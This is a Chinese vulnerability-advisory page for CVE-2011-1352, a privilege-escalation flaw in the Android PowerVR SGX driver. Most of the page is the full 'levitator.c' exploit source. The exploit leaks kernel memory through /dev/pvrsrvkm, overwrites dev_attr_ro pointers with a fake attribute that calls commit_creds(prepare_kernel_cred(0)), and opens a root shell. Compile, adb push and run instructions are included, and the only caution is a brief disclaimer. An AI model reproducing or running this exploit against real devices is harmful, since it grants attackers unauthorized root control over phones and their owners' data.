Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Android PowerVR SGX Driver本地权限提升漏洞(CVE-2011-1352)

发布日期:2011-11-03
更新日期:2013-03-07受影响系统:
Android Open Handset Alliance Android <= 2.3.5
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57901
 CVE(CAN) ID: CVE-2011-1352
 
Android是基于Linux开放性内核的操作系统,是Google公司在2007年11月5日公布的手机操作系统。
 
Android 2.3.6及之前版本内的PowerVR SGX驱动程序允许攻击者获取root权限,此漏洞源于发送到 pvrsrvkm 设备的特制用户数据触发了内核内存破坏,导致权限提升。
 
<*来源:Geremy Condra
 
 链接:http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1352
 *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
 * levitator.c
 *
 * Android < 2.3.6 PowerVR SGX Privilege Escalation Exploit
 * Jon Larimer <jlarimer@gmail.com>
 * Jon Oberheide <jon@oberheide.org>
 *
 * Information:
 *
 * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1352
 *
 * CVE-2011-1352 is a kernel memory corruption vulnerability that can lead
* to privilege escalation. Any user with access to /dev/pvrsrvkm can use
* this bug to obtain root privileges on an affected device.
 *
 * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1350
 *
 * CVE-2011-1350 allows leaking a portion of kernel memory to user mode
* processes. This vulnerability exists because of improper bounds checking
 * when returning data to user mode from an ioctl system call.
 *
 * Usage:
 *
 * $ CC="/path/to/arm-linux-androideabi-gcc"
 * $ NDK="/path/to/ndk/arch-arm"
 * $ CFLAGS="-I$NDK/usr/include/"
 * $ LDFLAGS="-Wl,-rpath-link=$NDK/usr/lib -L$NDK/usr/lib -nostdlib $NDK/usr/lib/crtbegin_dynamic.o -lc"
 * $ $CC -o levitator levitator.c $CFLAGS $LDFLAGS
 * $ adb push levitator /data/local/tmp/
 * $ adb shell
 * $ cd /data/local/tmp
 * $ ./levitator
 * [+] looking for symbols...
 * [+] resolved symbol commit_creds to 0xc00770dc
 * [+] resolved symbol prepare_kernel_cred to 0xc0076f64
 * [+] resolved symbol dev_attr_ro to 0xc05a5834
 * [+] opening prvsrvkm device...
 * [+] dumping kernel memory...
 * [+] searching kmem for dev_attr_ro pointers...
 * [+] poisoned 16 dev_attr_ro pointers with fake_dev_attr_ro!
 * [+] clobbering kmem with poisoned pointers...
 * [+] triggering privesc via block ro sysfs attribute...
 * [+] restoring original dev_attr_ro pointers...
 * [+] restored 16 dev_attr_ro pointers!
 * [+] privileges escalated, enjoy your shell!
 * # id
 * uid=0(root) gid=0(root)
 *
 * Notes:
 *
 *   The vulnerability affects Android devices with the PowerVR SGX chipset
 *   which includes popular models like the Nexus S and Galaxy S series. The
*   vulnerability was patched in the Android 2.3.6 OTA update.
 */
 
#include <stdio.h>
 #include <stdint.h>
 #include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
 #include <fcntl.h>
 #include <errno.h>
 #include <dirent.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/ioctl.h>
 
#define CONNECT_SERVICES 0xc01c670c
 #define DUMP_SIZE        161920
 
typedef struct {
   uint32_t ui32BridgeID;
   uint32_t ui32Size;
   void *pvParamIn;
   uint32_t ui32InBufferSize;
   void *pvParamOut;
   uint32_t ui32OutBufferSize;
   void * hKernelServices;
 } PVRSRV_BRIDGE_PACKAGE;
 
typedef int (* _commit_creds)(unsigned long cred);
 typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
 _commit_creds commit_creds;
 _prepare_kernel_cred prepare_kernel_cred;
 
ssize_t
 fake_disk_ro_show(void *dev, void *attr, char *buf)
 {
   commit_creds(prepare_kernel_cred(0));
   return sprintf(buf, "0wned ");
 }
 
struct attribute {
   const char *name;
   void *owner;
   mode_t mode;
 };
 
struct device_attribute {
   struct attribute attr;
   ssize_t (*show)(void *dev, void *attr, char *buf);
   ssize_t (*store)(void *dev, void *attr, const char *buf, size_t count);
 };
 
struct device_attribute fake_dev_attr_ro = {
   .attr    = {
       .name = "ro",
       .mode = S_IRWXU | S_IRWXG | S_IRWXO,
   },
   .show = fake_disk_ro_show,
   .store = NULL,
 };
 
unsigned long
 get_symbol(char *name)
 {
   FILE *f;
   unsigned long addr;
   char dummy, sname[512];
   int ret = 0;   f = fopen("/proc/kallsyms", "r");
   if (!f) {
       return 0;
   }   while (ret != EOF) {
       ret = fscanf(f, "%p %c %s ", (void **) &addr, &dummy, sname);
       if (ret == 0) {
           fscanf(f, "%s ", sname);
           continue;
       }
       if (!strcmp(name, sname)) {
           printf("[+] resolved symbol %s to %p ", name, (void *) addr);
           return addr;
       }
   }
 
    return 0;
 }
 
int
 do_ioctl(int fd, void *in, unsigned int in_size, void *out, unsigned int out_size)
 {
   PVRSRV_BRIDGE_PACKAGE pkg;
 
    memset(&pkg, 0, sizeof(pkg));
 
    pkg.ui32BridgeID = CONNECT_SERVICES;
   pkg.ui32Size = sizeof(pkg);
   pkg.ui32InBufferSize = in_size;
   pkg.pvParamIn = in;
   pkg.ui32OutBufferSize = out_size;
   pkg.pvParamOut = out;
 
    return ioctl(fd, 0, &pkg);
 }
 
int
 main(int argc, char **argv)
 {
   DIR *dir;
   struct dirent *dentry;
   int fd, ret, found, trigger;
   char *dump, *dump_end, buf[8], path[256];
   unsigned long dev_attr_ro, *ptr;
 
    printf("[+] looking for symbols... ");
 
    commit_creds = (_commit_creds) get_symbol("commit_creds");
   if (!commit_creds) {
       printf("[-] commit_creds symbol not found, aborting! ");
       exit(1);
   }
 
    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
   if (!prepare_kernel_cred) {
       printf("[-] prepare_kernel_cred symbol not found, aborting! ");
       exit(1);
   }
 
    dev_attr_ro = get_symbol("dev_attr_ro");
   if (!dev_attr_ro) {
       printf("[-] dev_attr_ro symbol not found, aborting! ");
       exit(1);
   }
 
    printf("[+] opening prvsrvkm device... ");
 
    fd = open("/dev/pvrsrvkm", O_RDWR);
   if (fd == -1) {
       printf("[-] failed opening pvrsrvkm device, aborting! ");
       exit(1);
   }
 
    printf("[+] dumping kernel memory... ");
 
    dump = malloc(DUMP_SIZE + 0x1000);
   dump_end = dump + DUMP_SIZE + 0x1000;
   memset(dump, 0, DUMP_SIZE + 0x1000);
 
    ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
   if (ret == -1) {
       printf("[-] failed during ioctl, aborting! ");
       exit(1);
   }
 
    printf("[+] searching kmem for dev_attr_ro pointers... ");
 
    found = 0;
   for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
       if (*ptr == dev_attr_ro) {
           *ptr = (unsigned long) &fake_dev_attr_ro;
           found++;
       }
   }
 
    printf("[+] poisoned %d dev_attr_ro pointers with fake_dev_attr_ro! ", found);
 
    if (found == 0) {
       printf("[-] could not find any dev_attr_ro ptrs, aborting! ");
       exit(1);
   }
 
    printf("[+] clobbering kmem with poisoned pointers... ");
 
    ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
   if (ret == -1) {
       printf("[-] failed during ioctl, aborting! ");
       exit(1);
   }
 
    printf("[+] triggering privesc via block ro sysfs attribute... ");
 
    dir = opendir("/sys/block");
   if (!dir) {
       printf("[-] failed opening /sys/block, aborting! ");
       exit(1);
   }
 
    found = 0;
   while ((dentry = readdir(dir)) != NULL) {
       if (strcmp(dentry->d_name, ".") == 0 || strcmp(dentry->d_name, "..") == 0) {
           continue;
       }
 
        snprintf(path, sizeof(path), "/sys/block/%s/ro", dentry->d_name);
 
        trigger = open(path, O_RDONLY);
       if (trigger == -1) {
           printf("[-] failed opening ro sysfs attribute, aborting! ");
           exit(1);
       }
 
        memset(buf, 0, sizeof(buf));
       ret = read(trigger, buf, sizeof(buf));
       close(trigger);
 
        if (strcmp(buf, "0wned ") == 0) {
           found = 1;
           break;
       }
   }
 
    if (found == 0) {
       printf("[-] could not trigger privesc payload, aborting! ");
       exit(1);
   }
 
    printf("[+] restoring original dev_attr_ro pointers... ");
 
    ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
   if (ret == -1) {
       printf("[-] failed during ioctl, aborting! ");
       exit(1);
   }
 
    found = 0;
   for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
       if (*ptr == (unsigned long) &fake_dev_attr_ro) {
           *ptr = (unsigned long) dev_attr_ro;
           found++;
       }
   }
 
    printf("[+] restored %d dev_attr_ro pointers! ", found);
 
    if (found == 0) {
       printf("[-] could not restore any pointers, aborting! ");
       exit(1);
   }
 
    ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
   if (ret == -1) {
       printf("[-] failed during ioctl, aborting! ");
       exit(1);
   }
 
    if (getuid() != 0) {
       printf("[-] privileges not escalated, exploit failed! ");
       exit(1);
   }
 
    printf("[+] privileges escalated, enjoy your shell! ");
 
    execl("/system/bin/sh", "sh", NULL);
 
    return 0;
 }建议:
--------------------------------------------------------------------------------
厂商补丁:
 
Android
 -------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://www.openhandsetalliance.com/android_overview.htmlAndroid PowerVR SGX Driver信息泄露漏洞(CVE-2011-1350)Samsung TV "SOAPACTION" 拒绝服务漏洞相关资讯      Android安全漏洞 
  • Android 的四月安全更新修复了另一  (04月05日)
  • Android WebView组件addJavascript  (09/07/2013 06:16:23)
  • Android绕过数字签名可修改代码漏  (07/05/2013 16:24:37)
  • Android 再现安全漏洞,骇客利用冗  (09/17/2015 20:57:02)
  • Google Android PRNG熵漏洞  (08/19/2013 20:46:21)
  • Android 安全模式惊曝新漏洞  (07/05/2013 15:26:09)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或